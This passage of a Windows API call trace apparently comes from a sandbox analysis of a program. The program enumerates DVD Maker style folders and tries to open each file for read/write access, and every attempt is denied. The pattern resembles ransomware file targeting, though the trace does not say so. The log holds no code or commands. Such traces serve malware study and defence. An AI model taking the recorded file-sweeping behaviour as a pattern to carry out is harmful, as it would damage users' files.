maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.886] GetLastError () returned 0x5 [0152.886] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0152.886] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.886] GetLastError () returned 0x5 [0152.887] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0152.887] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.887] GetLastError () returned 0x5 [0152.887] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0152.887] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.887] GetLastError () returned 0x5 [0152.887] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0152.887] GetProcessHeap () returned 0x2a0000 [0152.887] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7a) returned 0x2f5738 [0152.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.889] GetProcessHeap () returned 0x2a0000 [0152.889] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0152.890] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.890] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0152.890] GetProcessHeap () returned 0x2a0000 [0152.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27c) returned 0x2f32d0 [0152.890] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.891] GetLastError () returned 0x5 [0152.891] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0152.891] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.892] GetLastError () returned 0x5 [0152.892] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0152.892] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.893] GetLastError () returned 0x5 [0152.893] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0152.893] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.894] GetLastError () returned 0x5 [0152.894] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0152.894] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.895] GetLastError () returned 0x5 [0152.895] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0152.895] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.896] GetLastError () returned 0x5 [0152.896] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0152.896] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.897] GetLastError () returned 0x5 [0152.897] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0152.897] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.898] GetLastError () returned 0x5 [0152.898] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0152.898] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.898] GetLastError () returned 0x5 [0152.898] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0152.898] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.899] GetProcessHeap () returned 0x2a0000 [0152.899] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.899] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0152.900] GetProcessHeap () returned 0x2a0000 [0152.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x72) returned 0x2b9ae0 [0152.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.902] GetProcessHeap () returned 0x2a0000 [0152.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0152.902] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.902] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0152.902] GetProcessHeap () returned 0x2a0000 [0152.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x274) returned 0x2f32d0 [0152.902] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.906] GetLastError () returned 0x5 [0152.906] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0152.906] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.907] GetLastError () returned 0x5 [0152.907] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0152.907] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.908] GetLastError () returned 0x5 [0152.908] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0152.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.908] GetLastError () returned 0x5 [0152.908] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0152.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.909] GetLastError () returned 0x5 [0152.909] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0152.909] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.910] GetLastError () returned 0x5 [0152.910] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0152.910] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.911] GetLastError () returned 0x5 [0152.911] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0152.911] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.912] GetLastError () returned 0x5 [0152.912] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.913] GetLastError () returned 0x5 [0152.913] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.914] GetLastError () returned 0x5 [0152.914] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.915] GetLastError () returned 0x5 [0152.915] CreateFileW (lpFileName="C:\\Program Files\\DVD 